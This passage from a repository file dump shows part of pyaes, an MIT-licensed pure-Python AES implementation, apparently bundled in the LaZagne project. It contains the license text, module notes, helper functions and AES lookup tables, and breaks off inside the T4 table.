    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n# See the README.md for API details and general information.\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\nVERSION = [1, 3, 0]\n\nfrom .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter\nfrom .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter\nfrom .blockfeeder import PADDING_NONE, PADDING_DEFAULT\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/pyaes/aes.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n\n# Honestly, the best description of the modes of operations are the wonderful\n# diagrams on Wikipedia. They explain in moments what my words could never\n# achieve. Hence the inline documentation here is sparer than I'd prefer.\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n\n# See the README.md for API details and general information.\n\n\nimport copy\nimport struct\n\n__all__ = [\"AES\", \"AESModeOfOperationCTR\", \"AESModeOfOperationCBC\", \"AESModeOfOperationCFB\",\n           \"AESModeOfOperationECB\", \"AESModeOfOperationOFB\", \"AESModesOfOperation\", \"Counter\"]\n\n\ndef _compact_word(word):\n    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]\n\ndef _string_to_bytes(text):\n    return list(ord(c) for c in text)\n\ndef _bytes_to_string(binary):\n    return \"\".join(chr(b) for b in binary)\n\ndef _concat_list(a, b):\n    return a + b\n\n\n# Python 3 compatibility\ntry:\n    xrange\nexcept NameError:\n    xrange = range\n\n    # Python 3 supports bytes, which is already an array of integers\n    def _string_to_bytes(text):\n        if isinstance(text, bytes):\n            return text\n        return [ord(c) for c in text]\n\n    # In Python 3, we return bytes\n    def _bytes_to_string(binary):\n        return bytes(binary)\n\n    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first\n    def _concat_list(a, b):\n        return a + bytes(b)\n\n\n# Based *largely* on the Rijndael implementation\n# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf\nclass AES(object):\n    '''Encapsulates the AES block cipher.\n\n    You generally should not need this. Use the AESModeOfOperation classes\n    below instead.'''\n\n    # Number of rounds by keysize\n    number_of_rounds = {16: 10, 24: 12, 32: 14}\n\n    # Round constant words\n    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]\n\n    # S-box and Inverse S-box (S is for Substitution)\n    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]\n    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] \n\n    # Transformations for encryption\n    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]\n    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]\n    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]\n    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 